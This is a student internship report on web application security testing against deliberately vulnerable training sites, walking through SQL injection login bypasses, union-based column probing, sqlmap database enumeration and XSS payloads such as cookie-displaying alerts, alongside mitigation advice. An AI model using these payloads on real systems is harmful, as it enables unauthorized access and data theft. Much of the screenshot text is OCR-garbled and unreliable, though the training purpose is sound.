INTERNSHIP: PROJECT REPORT

Internship Project Title TCS RIO-210 - Advanced Dynamic Application Security Testing to Find Defects in Web
Applications

Project Title TCS RIO-210 - Advanced Dynamic Application Security Testing to Find Defects in Web
Applications

Name of the Company TCSiON

Name of the Industry Mentor Vineet Kannoly / Shreya Masurkar

Name of the Institute Madhyanchal Professional University, Bhopal

SUBMITTED BY : Shaswat Manoj Jha

Start Date End Date Total Effort (hrs.) Project Environment Tools used
, , Mutillidae and .
18th June ‘20 1st August 20 210 Altoro Mutual Burpsuite, SQLMap, ZAP.

+ Title of The Project: Advanced Dynamic Application Security Testing to Find Defects in Web Applications

This was a project on DAST, based on the Top 10 Vulnerabilities releases every few years via OWASP.ORG.

In this project | have learnt about various kinds of techniques that hackers use to compromise web applications and also
learnt about how to secure them.

+ Learning Content:
Throughout this project my mentors have helped me through active support and | never felt left alone.
| have learnt about many types of vulnerabilities found in web applications, some of the most common of them are.

. Injection Attacks

. Broken Authentication Attacks

. Sensitive Data Exposure

. XML External Entities

. Broken Access Control

° Security misconfiguration

. Cross Site Scripting

. Insecure Deserialization

. Using Components with Known Vulnerabilities
. Insufficient Logging and Monitoring

In this internship | have learnt about OWASP Top 10.

OWASP represents the Open Web Application Security Project, an online network that produces articles, strategies,
documentation, instruments, and innovations in the field of web application security.

OWASP Top 10 is the rundown of the 10 most popular web application weaknesses. It additionally shows their dangers,
effects, and countermeasures. Refreshed each three to four years, the most recent OWASP weaknesses list was discharged
in 2018.

During this internship | also found out about the contrasts among DAST and SAST. | am confident about how the SAST and
DAST types of testing works.


owasp.org
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Static application security testing (SAST) is a white box security testing technique where the tester approaches the basic
source code. In SAST, the application is tested for vulnerabilities from the backend to the frontend.
SAST doesn’t require a deployed application. It analyzes the sources code or binary without executing the application.

In any case, since SAST apparatuses filter static code, it can't discover run-time weaknesses.

Dynamic application security testing (DAST) is an application security arrangement in which the analyzer has no
information on the source code of the application or the advancements or structures the application is based on.

In DAST, the application is tested by running the application and interfacing with the application.

It empowers the security expert to recognize security weaknesses in the application in a run-time condition i.e. once the
application has been sent.

Dynamic testing recognizes potential weaknesses incorporating in the frontend interface of web applications.
DAST gives insights into web applications once they are sent and running, empowering an organization to address potential
security weaknesses before an attacker abuses them to dispatch a cyberattack.

* Solution Approach:
Mutillidae Il and demo.testfire.net are web applications that are purposefully made vulnerable to OWASP Vulnerabilities.

My solution approach was simple, | assumed that | don’t know these applications are vulnerable.
| started exploring these applications one by one manually. And as | proceeded further, | found new vulnerabilities which
have already been listed by me in the activity report, submitted daily throughout the project.

As, in real world | will never get the vulnerability information from the organization.

The internship, was carried out in 3 phases.
Which | have elaborated below.

1. In “Phase 1” of the internship project, | was manually able to find some vulnerabilities related to the following.

. SQL Injection

. XSS

o Broken Authentication

o Broken Access Control

. Security Misconfiguration

o Sensitive Data Exposure

o Known Vulnerabilities that applications use.

2. In “Phase II” of the internship | used OWASP ZAP, Burp Suite etc tools to do automated testing and found new SQL,

XSS and Security Misconfiguration vulnerabilities.

3. In “Phase III”, | searched for additional vulnerabilities listed below.
. Broken Authentication

. Broken Access Control

. Sensitive Data Exposure.
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My aim was to know about how exactly malicious hackers exploit vulnerabilities and how can we as white hats secure
them. The second aim was to get familiar with all types of vulnerabilities that web apps can have.
During this project | have used the following tools most frequently.

Testing Environment:
1. Altoro Mutual [demo.testfire.net]
2. Mutillidae Il [Self Hosted]

Tools Used:

1. Burp Suite

| § Burp Suite Comenunity Edition v2020,5.1 - Ternporary Project

Burp Project Imtruder Repaater Window Help
[ Dashboard | Target [ Prony [ ntruder | Repsater | Sequancer | Decoder | Comparer | Extender | Project options | User options
F— ] HTTP history | WebSockets histary | Ogtians |
£ Request to hitp:/127.0.0.1:80
| Forvward 1. Dwop | [ Intarcept is on | L Action \\ﬁ@
Raw | Params | Headers | Hex .|
G ndex . php Ppage=home . phpspopUpdot it icat ionCode=EPED HTTRS L. 1 o
"
ion/vulperabilities.php
L
®@|6| =+ | 0 matches | W |

2. sQL Map

2 Windows PowerShell = O X
"ning e de B at you T g a eader and has disabled PSReadLine for compatibility purpo

{1.4.7.14#dev}
|
|

| .°|
11—, —
. 11 http: Tmag

Usage: sqlmap.py [options]

sqlmap.py: error: ng a mandatory option (-d : S r, -4, , —-list-tampers, - rd, --update, --purge or
dependencies). U h for ba 1 hh for a

Enter to continue...
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3. OWASP Zap Vulnerability Scanner
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= @ s

ort-Security: wax-sge=g
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itr
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ee: /) & Cross Site Scripting {Reflecied) i
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Cantidance: Modum
Parameter. page
Allaci FvaseiipLalet(ly
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canner. - Conlenl-Seculy S-SR SETPNG (LSE) 1 a0 FMICK DU 1Al ok ENRING SHACEEF SUBRIGE CAAR M0 3 USCrS BENSEr MSANCD. A SOWSAI INSESNGE CA EG 3 SESMAr ot EXWSar dicrt, of 3 Erusar 02,6c] smiedecd in 2 satware
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oxs-Doiman Javs
* R incomplets or M corrnl ana Pr.\:rr.\HlIP Hoader S0l (312}
* U Infermation Disdosure - Debug Ermor Messapes (43)
* U Praatz IP Disclosure (18} v v
Aleils B2 F B 212 ®E Prmary Prosy localhost 8081 Curent Scares G0 0 0 A0 Do WO L0 Mo

+* DAST Report:

1. SQL injection.

SQL Injection is a mainstream assault, where hackers embed notorious codes so as to access the application's database.

(a) Risk/ Undesirable impact if exploited.

SQL injection attacks represent an extreme security danger to associations. A successful SQL injection assault can bring
about confidential and important information being erased, edited or taken out for malicious uses.

Other risks are sites being ruined, defaced or unapproved access to frameworks or accounts and, eventually, compromised
machines or whole systems.

(b) How to fix the defect.
SQL injection attacks possibly work when an application is tricked into executing code since it gets client contribution to a
structure it isn't anticipating.

That implies a crucial SQL injection security measure is input disinfection and character wise approval. This adequately adds
an assessment layer to guarantee that any submitted information isn't a malicious code and may represent a SQL injection
hazard.
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Sterilization for the most part includes running any submitted information through a scripted wall, to guarantee that any
hazardous characters, like ' are not passed to a SQL question in input fields.

Character approval is somewhat helpful in saving the web application from getting injected by SQL codes.

Approval includes adding code that guarantees that any information submitted is in the structure that is normal in that
specific occasion.

At the most essential level this incorporates guaranteeing that email addresses contain an "@" sign, and that numeric
information, (for example, a mobile number) is accepting only numeric characters.

Also check that the length of a bit of information submitted isn't longer than the greatest anticipated length, for example a
phone number field must be restricted to 10 digits.

Finally, I would recommend whitelisting legal characters and blacklisting illegal characters in each input field is the best
possible way to keep a web application safe from SQL injection.

(c) Authoritative reference links, and explanatory examples

e W3Schools — SQL Injection.

e Mathew Setter — How to intercept request and modify response in Burp Suite.
[#1]

Location / URL - http://demo.testfire.net/login.jsp

< C {t @ Notsecure | demo.testfire.net/login.jsp

f\_ﬁl_t_oro!\/\utual >

Steps and Description.

| was able to easily get through the login page of demo.testfire.net, accessible at http://demo.testfire.net/login.jsp by using
the payload ' Or '1'="1.

(Ignored the ' after the last character of the payload, as it was found as already being added by the web app.)

Online Banking Login Hello Admin User

Welcome to Altoro Mutual Online,

Username:  [' Or'1'="1 | View Account Datails: | 800000 Corporate ~|[ o |

Password: |oooo.oooo.. |

— Congratulations!
| Lagin |

You have been pre-approved for an Altoro Gold Wisa with 2 credit limit of £8723.02!

Click Here to apply.
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[#2]

Location

/ URL— Mutillidae -> OWASP 2013 -> A1l - Injection (SQL) -> SQLi - Extract Data -> User Info (SQL)

Steps and Description.

1.

E

Enter a random input to get an SQL error.

This vulnerability represents how dangerous showing an SQL error to the client can prove to be.

We can see (red outlined) that the web application adds “ to the entered query and uses AND operator for
password. We can also see other crucial information. We can use a universally true SQL query as a payload.

Entering 1’ or ‘5’ = ‘5 can help, and to get rid of the “AND password=‘password’” we can comment it out using

ntered random input to get an SQL error.

[

User Lookup (SQL) ]

e
\,j Back g Help Me!

Hints and Videos

—
m/x Switch to SOAP Web Service version % Switch to XPath version

Please enter username and password
to view account details

e —
Password |
View Account Details

Diont have an account? Plaase register herg
Error Message
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4. Using the payload in step 2 we can fetch all the usernames and passwords.

Denate
Want to Help?

Vides Tutorials

»

Announcements

{

Getting Started

Please enter username and password
to view account detalls

o e —
Password |

View Account Dotaiks
Donl have an account? Plagse register hare
[ Resulte for “1' ef 5=5 . —.23 recerds found.
Username=admin

Password=adminpass
Signature=g0t 10017

Username=adrian
Password=somepassword
Signature=7ombig Films Rock!

Username=jofin
Password=monkey
Signature= like the smel of confur

Username=jaremy
Password=password
Signature=31373 1337 speak

Username=tryce
Password=password
Signature=| Lova SANS

Username=samura
Passweord=samura
Signature=Carving fools

Username=)m
Password=password
Signature=Rome is burning

Username=bably
Password=password
SignaturesHank 15 my dad

Username=simba
Password=password
Signature=| am a super-cat

Username=dravai
Passwordspasswond
Signature=Fraparation H

[#3]

Location / URL— OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User Info

Steps and Description.

1. We type 'union select null — just to check what kind of error we get.

—Error Message

l Failure is always an option
| ine |29
| coge o
[ File ”G:\Ideal\htdocs\vuln\classes\ﬁySQLHandler.php
a:\Ideal\htdocs\vulniclasses\MySQLHandler.php on line 224: Error executing guery:
connect_errno: @
errno: 1222
Message error: The used SELECT statements have a different number of columns
client_info: mysqlnd 7.4.8
host_info: 127.8.8.1 via TCP/IP
) Query: SELECT * FROM accounts WHERE usernams='' union select null -- ' AND password='"' (@) [Exception]
Trace #0 G:\Ideal\htdocsiwvuln\classes\MySQLHandler.php(315): MySQLHandler-»doExecuteQuery('SELECT * FROM a...') #1 G:\Ideal\htdocs‘vuln\clas
G:\Ideal\ntdocs\vuln\user-info.php{191): SQLQueryHandler-»getUserdccount("' union select ...', '') #3 G:\Ideal\htdocs'\vuln'index.php(6:
Diagnotic ) . ) .
Information Error attempting to display user information
Click here to reset the DB
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2. We can see an error statement “The used SELECT statements have different number of columns.” MySQL should
not show us this information. We can exploit this vulnerability can be exploited.

3. Tried an impractical way of guessing the no. of columns. Decided to try upto 5 null statement.
In input | typed:
"union select null,null --,
"union select null,null,null --,
"union select null,null,null,null -- and
"union select null,null,null,null,null --.

When used null 5 times, got output username, password and signature.
Username=7746536337776330

4. Proceeded further to exploit this by ' union select 1,2,3,4,5 --. Passwords722
Signature=2015-04-01

5. The username field populated with 2, password with 3 and signature field got Username=8242325748474749
. . . X . . P d=d6l

value 5. Indicating that Username is the second table field, Password is the third Sl.;r:::::e-ZOlG-O}-OI

table field, and Signature is the fourth table field. T e SN
Password=230
Signature=2017-06-01

6. We can use this vulnerability to fetch all details from other tables of database, Username=1234567812345678

. . . Password=627
like credit card details etc. Signature=2018-11-01
[#3]
Location / URL— OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User Info
Steps and Description.
SQL Injection with SQLMap through Burp Suite.
1. Onthe User ' resy B O x|+ = O =
€ 127.0.0.1 fuln/index.phppage=user-info.ph c Searc wB + & &0 =
Info page,
we capture ®% OWASP Mutillidae Il: Keep Calm and Pwn On
Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier)] Not Logged In
a normal Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data
request G ( User Lookup (SQL)
- OWASP 2013 4
using Burp <’9 Back aHe\pMe!
Suite. . N
r——
Aﬁx Switch to SOAP Web Service version SwitchtuXPalhversian
[ Please enter username and password
to view account details
PayPal - The safer, easier Name Shasurat
== :’gﬂ‘g"‘e‘l‘;“; Password  [sesses
o den?mrials Dont have an account? Please register here
Announcements
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2. We take the request and forward it to the repeater.

# Burp Suite

Burp Project Intruder Repeater Window Help
{ Dashboard ITargel I Proxy T Intruder ]' Repeater T Sequencer I Decader I Comparer I Extender T Project aptions I User aptions
1= | ...
Send Cancel <r > |v Target: http://127.0.0.1 / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 bET /vuln/index.php?page=user—info.php&iusername=Shasvat& - 1 HTTP/1.1 200 OK |A
passwvord=123456&user-info-php-submit-button= r Date: Fri, 07 Aug 2020 14:17:45 GHT I
View+Account+Details HTTR/ 1.1 3 Server: Apachs/2.4.43 (Winf4) OpenSSL/1.1.lg PHF/7.4.8
2 Host: 127.0.0.1 4 X-Powered-By: PHP/7.4.8
! User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:47.0) 5 Logged-In-User:
Gecko/20100101 Firefox/47.0 & X-X35-Protection: O
4 Accept: 7 Strict-Transport-Security: max-age=0
text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 Connection: close
5 Accept-Language: en-US,en;qg=0.5 Content-Type: text/html;charsec=UTF-8
& Accept-Encoding: gzip, deflate Content-Length: 54Z58
7 Referer: hrcop://127.0.0.1/vuln/indexr. php?pags=ussr—into.php
2 Cookie: showhints=1; PHPSESSID=daSn0loiloS54f0ikunScor]dmko <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0l Transitional//EN" "http://www
o Connection: close <html>
o <head>
11 <link rel="shortcut icon™ href=",./images/favicon.ico" type="image/x-ic|
] <link rel="stvlesheet™ type="text/css" href="./styles/global-styles.cs
<link rel="stylesheet" type="text/ecss" href="./styles/ddsmoothmenu/dds]
«link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/dds:
<gcript type="text/Jjavascript" src="./javascript/ddsmoothmenu/ddsmoot by
</script>
21 <script type="text/Jjavascript” src="./javascript/ddsmoothmenu/jquery.m|
</script>
<script type="text/javascript">
dedsmoothmenu. inic ({
mainmenuid thmenul”, //menu DIV id
orientation: 'w', //Horizontal or wertical menu: Set to "h" or "v"
classname: 'ddsn thmenu', //class added to menu's outer DIV
/{customthems: ["fccocdd", "fHccoccoce"],
contentsource: "markup"” //"markup” or ["container_id", "path_to_me|
}
1
</script>
<script type="text/javascript”s
§ (functioni) |
§i'[ReflectedXS3Executionfoint] ') .atcr("cicle”, ") ;
§$i'[ReflectedXSSExecutionPoint] ') .halloon();
§i0'C kieTamperinghffectedireal ') .attr ("title”, "™
Si'[ kieTamperinghffectedArea] ') .balloon();
b
- | .} . v
v PRt J s
0 matches n Pretty @{@J < || = | |Search... 0 matches n | Pretty |
54,563 bytes | 624 millis

munity Edition v2020.5.1

Burp Project Intruder Repeater Window Help

{ Dashboard TTarget I Proxy T Intruder T Repeater T Sequencer I Decoder T Comparer T Extender T Project options T User options ]

j Intercept T HTTP history IWehSockets history I Options ]

¢/ Request to hitp://127.0.0.1:80

l Forward J l Drop J [ Intercept is on ‘ Action

Raw | Params | Headers | Hex

1 GET /wuln/index.php?page=user—-info.phpsusername=3hasvaté&password=12345€&user—info-php-submit-button=View+Account+Details HTTE/L.1
Host: 127.0.0.1

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:47.0) Gecko/20100L01 Firefox/47.0

Accept: text/html, application/xhtml+4xml, application/xml;gq=0.9,*/*;q=0.8

Accept-Languages: =n-U3,en;gq=0.5

Aecept-Encoding: gzip, deflate

Referer: http://127.0.0.L1/vuln/index.php?page=ussr—info.php

Cookie: showhints=1; PHPSESSID=cda®n0ZoiloS54f0ikmScor ]jdmko

Connection: closs

1 o

¥
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3. Save the repeater request to a file, and send it through SQLMap.

> Windows PowerShell

PS G:\SQLMap> python sqlmap.py -r G:\SQLMap\request.txt --banner

{1.4.7.14#dev}

1 http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 19:55:29 /2020-08-07/
[ parsing HTTP request from 'G:\SQLMap\request.txt’

checking if the target is protected by some kind of WAF/IPS
testing if the target URL content is stable
target URL content is stable
testing if GET parameter 'page' is dynamic
] GET parameter 'page' appears to be dynamic
WARNING]
]

[ ] testing for sQL injection on GET parameter 'p
[ 1 testing "AND e based blind - WHERE or HAVING clause’
[WARNING] reflectiv / 's) found and filtering out

4. SQLMap finds the backend DBMS to be MYSQL.

5. We can pass this detail to further exploit the database.

Database: nowasp
Table: credit cards
[4 columns])

ccnumber

cev

expiration
PRSI RN

text |

+
I

+

| int(11) |
|

| text |
|

+

--------- +

[#4]
Location / URL— OWASP 2017 --> A1l - SQL Injection --> SQLMap Practice --> View Someones Blog
Steps and Description.

1. View blog entries of a random person.

10
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And intercept that request using Burp Suite.

b htto//1270..nes-blogphp X § hitpi//1270...qe=loginphp X + = X
€ 127.0.0.1 Avuln/index,php?page=view-someanes-blog.php ¢ Search ﬁ B ¥ &# &0 =

Q}@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2017 4 —
{ View Blogs
Qo @reom
Hints and Videos
View Blog Entries
Q roamrorets
[ select Author and Click to View Blog |

PayPal - The safer, easier
way to pay online!

Want to Help?

2 Current Blog Entries
Name Date Comment
u 1 john 2009-03-01 22:30:06 Chocolate is GOODI
Video Tutorials 2 john 2009-03-0122:29:04 Listen to Pauldotcom!

»

Announcements

2. Add ‘in place of user to check for SQLi Vulnerability.

% Burp Suite Community Edition v2020.5.1 - Temporary Project

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy I Intruder ]' Repeater T Sequencer ]' Decoder T Comparer ]' Extender T Project options ]' User options ]

J Intercept I HTTP histary IWehS&ckets histary T Options ]

&’ Request to http://127.0.0 1:80

l Forward J l Drop J | Intercept is on | Action

J Raw T Params I Headers T Hex ]

1 POST /vuln/index.php?page=viewv-somsones-blog. php HTTES L. 1

2 Host: 1Z27.0.0.1

3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:47.0) Gecko/Z0100101 Firefox/47.0
4 Aocept: text/html,application/xhtml+xml, application/xml;cq=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Feferer: http://127.0.0.1/vuln/index.php?page=view-somsones—blog. php
Cookie: showhints=1l; PHPSESSID=daSn0loilobd4f0ikmBcoagrdmko

S Connection: close

10 Content-Type: application/x-wwv-form-urlencoded

11 Content-Length: E£E

[

11
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3. After forwarding the intercepted packet, the error shown below proves the existence of SQLi vulnerability.

| bepuniti sesbiogohp X hHpiiTA geloginphe X | +

* 27.0.01 frulnfinde = view-some o

e e + A 2 0

@4 OWASP Mutillidae II: Keep Calm and Pwn On

Home:

Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In

Login/Register Toggle Hinls  Show Popup Hinls  Toggle Securily  Enforce SSL Resel DB View Log  View Caplured Dala

OWASE 2017

View Blogs

OWASP 2013

OWASP 2010

@ Help Mel

Hints and Videos

OWASE 2007

View Blog Entries
@ Add To Your Blog

HIML S

Others

Select Author and Click to View Blog |

Flease Choose Muthor View Blog Entries

Paylsl - The safer, sasier
5 el el i
.:'v’;'m" :;";:';; Notice: Undefined vaniable: 12ueryString in blog.php on line 238
Error Message
o a l _ Failucs 55 always &0 cption
| Code
| File aos My SOLHaR i
Announcements s MySOLianGler. pOp oo line 2313 EITOC ewsSSing QueCY:
% Hessage * S0l ayncax; chook the mardal that corresponds Co your Marlal® sorver weralon for che eight ayntax 1o 020 near '' ORDER BY date DESC LIMIT ¢ , 100" at line 2
Getting Started
| o CoQueEy | PUEVILTLD
Diagnotic
Tnfarmation
[ Click here to reset the OB

4. We can see the SQL Query used. [The last sentence in Message field]

12
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Failure is always an option

[ Line [229
[ Code (e
[ File "s: \Ideal\htdocs\vuln\classes\MySQLHandler.php

connect_errno: 0

G:\Ideal\htdocs\vuln\classes\MySGLHandler.ohp on line 224: Error executing query:
errno: 1064

Message error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' ORDER BY date DESC LIMIT 0 , 100' at line 2
client_info: mysglnd 7.4.8
host_infe: 127.0.0.1 via TCE/IP
) Query: SELECT * FROM blogs_tsble WHERE blogger name like ''$' ORDER BY date DESC LIMIT 0 , 100 (0) [Excepticn]
o #0 €:\Ideal\htdocs\vuln\classes\MySQLEandler.php(315): MySQLHandler->doExecuteQuery('\r\n\t\t\tSELECT * F...') #1 G:\Ideal\htdocs\vuln\classes\SQLQueryHandler.php{197): MySQLHandler->executeQuery{'\r\n\t\t

\tSELECT * F...') #2 G:\Ideal\htdocs\vuln\view-somecnes-bleg.php(176): SQLQueryHandler->getBlogRecord(''') #3 G:\Ideal\htdocs\wuln\index.php(537): require_once('G:\\Ideal\\htdocs...'} #4 {main}

Diagnotic

Information

click here to reset the DB

5. Save the request from Burp Suite HTTP history, to a file. And run SQLMap, and try to grab the database using —dbs
command.

OLMap\1l. request --banner --threads=2 --dbs

{1.4.7.14#dev}

qlmap.org

[!] Tegal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’
= responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

6. We get a list of databases when the scan finishes.

a
]
]
]
]
]
]
]
]

(a)

vailable databases [8]:

cdcol
information schema
mysql

performance schema
phpmyadmin

test

webauth

Cross Site Scripting [XSS]

Risk/ Undesirable impact if exploited.

13
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Cross-site scripting (XSS) is a web security weakness that allows an attacker to compromise the interaction that the clients
have with an insecure web application.

Cross-site scripting weaknesses regularly permit an attacker to act as a victim client, to complete any activities that the
client can perform, and to get to any of the client's information.

XSS is presumably the most common high risk web application vulnerability these days, but then it is as yet one of the most
disregarded by engineers and security experts.

There are three primary sorts of XSS assaults. These are:
e Reflected XSS, where the malicious script comes from the current HTTP request.
e Stored XSS, where the malicious script comes from the website's database.

e DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

One of the most widely recognized XSS assault vectors is to seize real client accounts by taking their session cookies. This
permits attackers to mimic victims and access any touchy data or usefulness for their benefit. How about we analyze how
this can be accomplished.

A down to earth assault vector for XSS is to utilize HTML and JavaScript so as to take client credentials, rather than their
cookies. This should be possible by cloning the login page of the web application and afterward utilizing the XSS weakness
so as to serve it to the victims.

Another amazing assault vector for XSS is to utilize it so as to exfiltrate private information or to perform unapproved tasks.

Some other well-known manners by which XSS could be weaponized incorporate the accompanying:

e Keylogger: utilizing JavaScript it is conceivable to log every single key stroke that a client enters in a weak page.

e Port output: XSS is additionally an unforeseen source to start port sweeps against the inner system of a customer
that gets to a weak site.

e Website Defacing: one of the most straightforward but then viable ways for aggressors to target organizations or
government establishments is to change the visual appearance of a site helpless against XSS. Either utilizing
humiliating pictures or hacktivism messages this can carry associations to the spotlight for an inappropriate reason.

(b) How to fix the defect.

So as to limit the dangers related with XSS, developers ought to encode all fields while showing them in the web browser.
Furthermore, guarantee that client input is appropriately filtered on account of extraordinary characters. A typical
wellspring of XSS are obsolete 3rd party libraries incorporated in the code, and all things considered, update these to the
most recent stable renditions. As a component of a protection in-depth system, guarantee that cookie properties, (for
example, HttpOnly) and security headers, particularly (Content Security Policy) CSP, are set in like manner.

On a more significant level, guarantee that security is appropriately coordinated in all periods of the improvement
procedure and that developers know about normal web application weaknesses. At last, customary infiltration tests would
help recognize such defects and improve the security position of the web applications.

Most by far of XSS weaknesses can be found rapidly and dependably utilizing Burp Suite's web weakness scanner.

14
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Physically testing for reflected and stored XSS regularly includes injecting a short alphanumeric string into each passage
point in the application; recognizing each area where the submitted input is returned in HTTP reactions; and testing every
area independently to decide if reasonably created information can be utilized to execute subjective JavaScript.

Physically testing for DOM-based XSS emerging from URL boundaries includes a comparative procedure: putting some basic
interesting contribution to the boundary, utilizing the program's engineer instruments to scan the DOM for this info, and
testing every area to decide if it is exploitable. Be that as it may, different sorts of DOM XSS are more earnestly to identify.
To discover DOM-based weaknesses in non-URL-based info, (for example, document.cookie) or non-HTML-based sinks (like
setTimeout), there is not a viable alternative for investigating JavaScript code, which can be very tedious. Burp Suite's web
weakness scanner joins static and dynamic examination of JavaScript to dependably computerize the location of DOM-
based weaknesses.

XSS weaknesses can be fixed by including a blend of the following measures:

e Channel contribution on appearance. At where client input is gotten, channel as carefully as conceivable dependent
on what is normal or substantial info.

e Encode information on yield. At where client controllable information is yield in HTTP reactions, encode the yield to
keep it from being deciphered as dynamic substance. Contingent upon the yield setting, this may require applying
mixes of HTML, URL, JavaScript, and CSS encoding.

o  Utilize fitting reaction headers. To forestall XSS in HTTP reactions that aren't expected to contain any HTML or
JavaScript, you can utilize the Content-Type and X-Content-Type-Options headers to guarantee that programs
decipher the reactions in the manner you plan.

e Content Security Policy. As a last line of safeguard, you can utilize Content Security Policy (CSP) to diminish the
seriousness of any XSS weaknesses that despite everything happen

(c) Authoritative reference links, and explanatory examples.
e Wikipedia
e Owasp.org

e Portswigger

[#1]
Location / URL — demo.testfire.net/search.jsp
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Steps and Description.

Enter “<script>alert(1)</script>" in the search box returns with the output programmed by us.

This shows the search box is vulnerable to Reflected XSS.

Search Results

M praducts in detecting web application vulnessbiities sad websibe defects, This sibe (s net & real baskisg sibe, Simiarities, ¥ sy, bs Svrd party seoducts and/er websibes are purely comcidental. This sibe is pro,

[#2]
Location / URL— OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog

Steps and Description.

This is a persistent XSS in Mutillidae. Whenever a user reaches or refreshes this page, the malicous code is run.

[ Add blog for anonymous ]
[ Note: <b>,<i> and <u> are now allowed in blog entries ] We have a single step,
<script>alert("Hello")</scripty| Simply inject a javascript code in the “Add to your blog”
input field.

( saveBlogEntry |

We get the output as programmed. One thing to notice is that whenever this page is refreshed the code runs again, this
shows that the injected code has been embedded in to the source of the web application.

16
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Hence making it a stored / persistent XSS vulnerability.

127.0.0.1 says

[#3]
Location / URL — OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
Steps and Description.

In the DNS Lookup input field place the following string “<script>alert(document.cookie)</script>".

The goal here is to determine:

1. if this webpage contains a cookie.
2. if we can display the cookie in a JavaScript alert box.

q)& OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2714  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier] Mot Logged In

Homa Login/Hegister Toggle Hints  Show Popup Hints  Toggle Security  Enforoe 551 Reset DB View Log  View Captured Data

m [ DNS Lookup

OWASP 2013 L] Yy
OWASP 2010 L \Jj Back e Help Me!

% mmem e

—
w Switch to SOAP Web Service Version of this Page

m Who would you like to do a DNS lookup on?
Enter IP or hostname
w‘n':“‘:':.lp, HostnamellP S e Dok
o
Video Tutorials
Announcements
Getting Started
Browser: Mozilla/5.0 (Windows NT 10.0; Wind; x64) AppleWebKit537.36 (KH ML, like Gecko) Chrome/84.0.4147 89 Safari537 36 OPRIT0.0.3728.71
PHP Version: 7.4.8
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We get the following output.

127.0.0.1 says

Home Login/Register Toggk View Log  View Captured Data

. DNS Lookup

Want to Help?

Video Tutorials

L g

Announcements
>
g

Getting Started

We can clearly see the cookie displays the username and the PHP Session ID.

127.0.0.1 says
showhints=1; PHPSESSID=sl4aelkOdha5jl4sq8djs88cbk

3. Inthe manual testing of demo.testfire.net, found some extremely high risk issues related to security misconfiguration.

e debugger is enabled

e incorrect directory permissions

e using default accounts and passwords
e setup/config pages enabled

18
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4, Information Disclosure or Sensitive Data Exposure

(a) Risk/ Undesirable impact if exploited.

Sensitive Data Exposure happens when an application doesn't enough secure touchy data. The information can fluctuate
and anything from passwords, meeting tokens, charge card information to private wellbeing information and more can be
uncovered. As the finding just applies to delicate information, the potential effect is constantly viewed as high. What the
information comprises of shifts thus does the effect. The peril lies in the information being uncovered, and the potential
effect mirrors the information's affectability.

Touchy information presentation happens because of not enough securing a database where data is put away. This may be
a consequence of a huge number of things, for example, powerless encryption, no encryption, programming blemishes, or
when somebody erroneously transfers information to an inaccurate database.

Various sorts of information can be uncovered in a delicate information introduction. Banking account numbers,
Mastercard numbers, human services information, meeting tokens, Social Security number, street number, telephone
numbers, dates of birth, and client account data, for example, usernames and passwords are a portion of the sorts of data
that can be left uncovered.

Most weaknesses inside this classification can't be filtered for because of two principle reasons:

e To decide chance, it must be chosen what data is viewed as delicate, which can be a hard undertaking to complete
consequently.

e Anouter pentester can't know whether inner information is scrambled or not as that isn't uncovered.

(b) How to fix the defect.
The initial step is to make sense of what information can be viewed as delicate and in this manner essential to secure.
At the point when that is done, turn out every one of these information focuses and ensure that:

e The information is never put away in clear content.

e The information is never sent in clear content. Model among database and worker, or over the web.

e The calculations used to scramble the information are viewed as sufficient.

e The age of the keys is secure.

e Program headers are set to not store when the delicate information is introduced to end-client.

e Here are a few hints that can help.
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Utilize a remarkable and complex secret key for every one of your online records. Monitoring each one of those passwords
can be troublesome, yet there are items, for example, Norton Password Manager, that can help make this assignment
simpler to oversee.

Utilize just secure URLs. Be certain that you are visiting a notable site that you trust. For the most part, respectable
destinations start with https://. The "s" is vital. This is particularly significant when entering charge card or other individual
data.

(c) Authoritative reference links, and explanatory examples.

e wiki.net
e hdivsecurity

[#1]
Location / URL — http://127.0.0.1/vuln/index.php?page=phpinfo.php
Steps and Description.

Mutillidae has provide access to PHP info for all end users, this can be a high risk of sensitive data exposure.

Sysiem Windows NT MRSHASH_PC 10.0 buld 19041 (Windows 10) AMDG4
Build Date Jul § 2020 112408
Compiler Visual G+ 2017
Architecture w4
Configure Command cscnpt inologo e jscript configure |5 “—anable-snapshet-build” *—enable-debug-pack”’ “—wilh-pdo-oci= nwmwmmmammmmm_ﬁ_nsmsnam “—with-ocif-12c=c\php-snap-
builf\deps_auxleracielBinstantclient_12_Tiadk shared” “—enable-ohject-out-die= iohy” "—enabie-com-dolnet=shared” "-wilhout-anahzer “will-pg
Sarver AP| Apache 2.0 Handler
WVirtual Directory Support enabled
C ion Fils (php.ani) Path CWindows
Loaded Configuration File G \ideaNphp\ghp ini
Scan this dir for additional ini files (none]
Additional ind files parsed (none)
PHP APY 0190602
